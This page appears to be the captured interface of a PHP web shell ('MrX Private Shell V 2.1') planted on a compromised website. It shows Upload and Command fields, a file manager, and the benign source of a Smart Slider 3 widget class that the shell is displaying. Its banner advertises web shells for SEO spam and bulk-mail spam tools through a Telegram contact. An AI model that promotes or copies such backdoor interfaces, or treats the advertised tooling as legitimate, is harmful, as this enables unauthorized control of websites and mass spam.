__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Nextend\SmartSlider3\Widget;

use Nextend\Framework\Data\Data;
use Nextend\Framework\Pattern\GetAssetsPathTrait;
use Nextend\SmartSlider3\Slider\Slider;

abstract class AbstractWidgetFrontend {

    use GetAssetsPathTrait;

    /** @var SliderWidget */
    protected $sliderWidget;

    /**
     * @var Slider
     */
    protected $slider;

    /** @var AbstractWidget */
    protected $widget;

    protected $key;

    /**
     * @var Data
     */
    protected $params;

    /**
     * AbstractWidgetFrontend constructor.
     *
     * @param SliderWidget   $sliderWidget
     * @param AbstractWidget $widget
     */
    public function __construct($sliderWidget, $widget, $params) {
        $this->sliderWidget = $sliderWidget;
        $this->slider       = $sliderWidget->slider;
        $this->widget       = $widget;

        $this->params = $params;

        $this->key = $widget->getKey();
    }

    protected function addToPlacement($key, $renderCallback) {

        $params = $this->params;

        if ($params->get($key . 'mode') == 'simple') {

            $area  = intval($params->get($key . 'area'));
            $stack = intval($params->get($key . 'stack', 1));

            $this->sliderWidget->addToSimplePlacement($renderCallback, $this->translateArea($area), $stack, $params->get($key . 'offset', 0));
        } else {
            $horizontalSide     = $params->get($key . 'horizontal', 'left');
            $horizontalPosition = $params->get($key . 'horizontal-position', 0);
            $horizontalUnit     = $params->get($key . 'horizontal-unit', 'px');

            $verticalSide     = $params->get($key . 'vertical', 'top');
            $verticalPosition = $params->get($key . 'vertical-position', 0);
            $verticalUnit     = $params->get($key . 'vertical-unit', 'px');

            $this->sliderWidget->addToAdvancedPlacement($renderCallback, $horizontalSide, $horizontalPosition, $horizontalUnit, $verticalSide, $verticalPosition, $verticalUnit);
        }
    }

    protected function translateArea($area) {
        static $areas = array(
            1  => 'above',
            2  => 'absolute-left-top',
            3  => 'absolute-center-top',
            4  => 'absolute-right-top',
            5  => 'absolute-left',
            6  => 'absolute-left-center',
            7  => 'absolute-right-center',
            8  => 'absolute-right',
            9  => 'absolute-left-bottom',
            10 => 'absolute-center-bottom',
            11 => 'absolute-right-bottom',
            12 => 'below',
        );

        return $areas[$area];
    }

    public function getDefaults() {
        return $this->widget->getDefaults();
    }

    /**
     * @param Data    $params
     * @param string  $key
     * @param integer $showOnMobileDefault
     *
     * @return array
     */
    protected function getDisplayAttributes($params, $key, $showOnMobileDefault = 0) {

        $attributes = array(
            'class' => 'n2-ss-widget'
        );

        if (!$params->get($key . 'display-desktopportrait', 1)) {
            $attributes['data-hide-desktopportrait'] = 1;
        }

        if (!$params->get($key . 'display-tabletportrait', 1)) {
            $attributes['data-hide-tabletportrait'] = 1;
        }

        if (!$params->get($key . 'display-mobileportrait', $showOnMobileDefault)) {
            $attributes['data-hide-mobileportrait'] = 1;
        }

        if ($params->get($key . 'display-hover', 0)) {
            $attributes['class'] .= ' n2-ss-widget-display-hover';
        }


        $excludeSlides = $params->get($key . 'exclude-slides', '');
        if (!empty($excludeSlides)) {
            $attributes['data-exclude-slides'] = $excludeSlides;
        }

        return $attributes;
    }

    public static function getOrientationByPosition($mode, $area, $set = 'auto', $default = 'horizontal') {
        if ($mode == 'advanced') {
            if ($set == 'auto') {
                return $default;
            }

            return $set;
        }
        if ($set != 'auto') {
            return $set;
        }
        switch ($area) {
            case '5':
            case '6':
            case '7':
            case '8':
                return 'vertical';
                break;
        }

        return 'horizontal';
    }
}

Filemanager

Name Type Size Permission Actions
Arrow Folder 0775
Autoplay Folder 0775
Bar Folder 0775
Bullet Folder 0775
Group Folder 0775
Shadow Folder 0775
Thumbnail Folder 0775
AbstractWidget.php File 1.93 KB 0664
AbstractWidgetFrontend.php File 4.22 KB 0664
SliderWidget.php File 5.98 KB 0664
WidgetGroupFactory.php File 1.31 KB 0664
WidgetPlacement.php File 280 B 0664
WidgetPlacementAdvanced.php File 2.72 KB 0664
WidgetPlacementSimple.php File 1.13 KB 0664
Filemanager